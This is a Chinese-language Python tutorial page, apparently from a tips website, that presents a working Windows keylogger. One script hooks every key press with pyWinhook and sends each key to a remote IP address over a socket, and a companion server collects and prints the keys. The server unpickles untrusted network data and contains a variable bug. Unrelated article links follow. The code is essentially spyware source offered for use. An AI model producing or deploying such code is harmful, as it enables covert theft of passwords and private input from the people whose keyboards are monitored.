python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
如何解决django配置settings时遇到Could not import settings 'conf.local'
Nov 18 Python
Python的Django框架下管理站点的基本方法
Jul 17 Python
Python爬虫之正则表达式的使用教程详解
Oct 25 Python
在IPython中进行Python程序执行时间的测量方法
Nov 01 Python
selenium获取当前页面的url、源码、title的方法
Jun 12 Python
Pyqt QImage 与 np array 转换方法
Jun 27 Python
python3获取当前目录的实现方法
Jul 29 Python
Python爬虫运用正则表达式的方法和优缺点
Aug 25 Python
Python 70行代码实现简单算式计算器解析
Aug 30 Python
python实现将视频按帧读取到自定义目录
Dec 10 Python
python3连接mysql获取ansible动态inventory脚本
Jan 19 Python
Python实现迪杰斯特拉算法过程解析
Sep 18 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
php入门教程 精简版
2009/12/13 PHP
访问编码后的中文URL返回404错误的解决方法
2014/08/20 PHP
PHP实现的简单对称加密与解密方法实例小结
2017/08/28 PHP
jQuery 学习 几种常用方法
2009/06/11 Javascript
jquery插件制作 自增长输入框实现代码
2012/08/17 jQuery
解析javascript中鼠标滚轮事件
2015/05/26 Javascript
js实现瀑布流的三种方式比较
2020/06/28 Javascript
AngularGauge 属性解析详解
2016/09/06 Javascript
微信小程序 简单教程实例详解
2017/01/13 Javascript
js实现简单的网页换肤效果
2017/01/18 Javascript
redux-saga 初识和使用
2018/03/10 Javascript
JS和Canvas实现图片的预览压缩和上传功能
2018/03/30 Javascript
vue.js响应式原理解析与实现
2020/06/22 Javascript
详解vue中axios的使用与封装
2019/03/20 Javascript
使用next.js开发网址缩短服务的方法
2020/06/17 Javascript
React实现评论的添加和删除
2020/10/20 Javascript
小程序实现密码输入框
2020/11/16 Javascript
jQuery冲突问题解决方法
2021/01/19 jQuery
分享Python开发中要注意的十个小贴士
2016/08/30 Python
Python实现将sqlite数据库导出转成Excel(xls)表的方法
2017/07/17 Python
获取Django项目的全部url方法详解
2017/10/26 Python
基于python进行桶排序与基数排序的总结
2018/05/29 Python
对pandas的层次索引与取值的新方法详解
2018/11/06 Python
对python中的*args与**kwgs的含义与作用详解
2019/08/28 Python
如何基于pythonnet调用halcon脚本
2020/01/20 Python
python用分数表示矩阵的方法实例
2021/01/11 Python
新加坡最受追捧的体验平台:Hapz
2018/01/01 全球购物
会计电算化个人自我评价
2013/11/17 职场文书
幼儿园儿童节主持词
2014/03/21 职场文书
音乐兴趣小组活动总结
2014/07/07 职场文书
2014单位领导班子四风对照检查材料思想汇报
2014/09/25 职场文书
2015年车间主任工作总结
2015/05/21 职场文书
工作年限证明模板
2015/06/15 职场文书
5人制售《绝地求生》游戏外挂获利500多万元 被判刑
2022/03/31 其他游戏
Nginx 匹配方式
2022/05/15 Servers
MySQL索引失效十种场景与优化方案
2023/05/08 MySQL